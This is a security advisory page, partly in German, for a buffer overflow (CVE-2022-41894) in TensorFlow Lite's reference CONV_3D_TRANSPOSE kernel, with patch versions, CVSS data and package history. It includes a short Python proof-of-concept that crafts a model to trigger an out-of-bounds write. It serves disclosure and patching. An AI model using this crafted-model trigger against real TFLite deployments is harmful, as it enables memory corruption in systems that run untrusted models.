Buffer overflow in `CONV_3D_TRANSPOSE` on TFLite
Impact
The reference kernel of the CONV_3D_TRANSPOSE TensorFlow Lite operator wrongly increments the data_ptr when adding the bias to the result.
Instead of data_ptr += num_channels; it should be data_ptr += output_num_channels; as if the number of input channels is different than the number of output channels, the wrong result will be returned and a buffer overflow will occur if num_channels > output_num_channels.
An attacker can craft a model with a specific number of input channels in a way similar to the attached example script. It is then possible to write specific values through the bias of the layer outside the bounds of the buffer. This attack only works if the reference kernel resolver is used in the interpreter (i.e. experimental_op_resolver_type=tf.lite.experimental.OpResolverType.BUILTIN_REF is used).
import tensorflow as tf
model = tf.keras.Sequential(
[
tf.keras.layers.InputLayer(input_shape=(2, 2, 2, 1024), batch_size=1),
tf.keras.layers.Conv3DTranspose(
filters=8,
kernel_size=(2, 2, 2),
padding="same",
data_format="channels_last",
),
]
)
converter = tf.lite.TFLiteConverter.from_keras_model(model)
tflite_model = converter.convert()
interpreter = tf.lite.Interpreter(
model_content=tflite_model,
experimental_op_resolver_type=tf.lite.experimental.OpResolverType.BUILTIN_REF,
)
interpreter.allocate_tensors()
interpreter.set_tensor(
interpreter.get_input_details()[0]["index"], tf.zeros(shape=[1, 2, 2, 2, 1024])
)
interpreter.invoke()Patches
We have patched the issue in GitHub commit 72c0bdcb25305b0b36842d746cc61d72658d2941.
The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Thibaut Goetghebuer-Planchon, Arm Ltd.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Python (PyPI) | tensorflow | < 2.8.4, >= 2.9.0, < 2.9.3, >= 2.10.0, < 2.10.1 | 2.8.4, 2.9.3, 2.10.1 |
Verweise
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-h6q3-vv32-2cq5
- https://nvd.nist.gov/vuln/detail/CVE-2022-41894
- https://github.com/tensorflow/tensorflow/commit/72c0bdcb25305b0b36842d746cc61d72658d2941
- https://github.com/tensorflow/tensorflow
- https://github.com/tensorflow/tensorflow/blob/091e63f0ea33def7ecad661a5ac01dcafbafa90b/tensorflow/lite/kernels/internal/reference/conv3d_transpose.h#L121
- https://pypi.org/project/tensorflow
- https://github.com/advisories/GHSA-h6q3-vv32-2cq5
- CVSS-Vektor
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H- Schwäche (CWE)
CWE-120- Plattform
- Python (PyPI)
- Paket
tensorflow- Veröffentlicht
- 21.11.2022
- Aktualisiert
- 11.10.2026 13:18
Quellen und Lizenzen
OSV / GitHub Advisory Database - GHSA-h6q3-vv32-2cq5 - CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2026-936 - PyPA Advisory Database; CC BY 4.0
Schwachstellenhistorie: tensorflow
Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 433
- Erste → letzte
- 04.2019 07.2024
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Kritisch 6
- Hoch 112
- Mittel 210
- Niedrig 105
Veröffentlichungen pro Jahr
- 2019: 7
- 2020: 35
- 2021: 200
- 2022: 169
- 2023: 21
- 2024: 1
- 2025: 0
- 2026: 0
-
Buffer overflow in `CONV_3D_TRANSPOSE` on TFLite dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.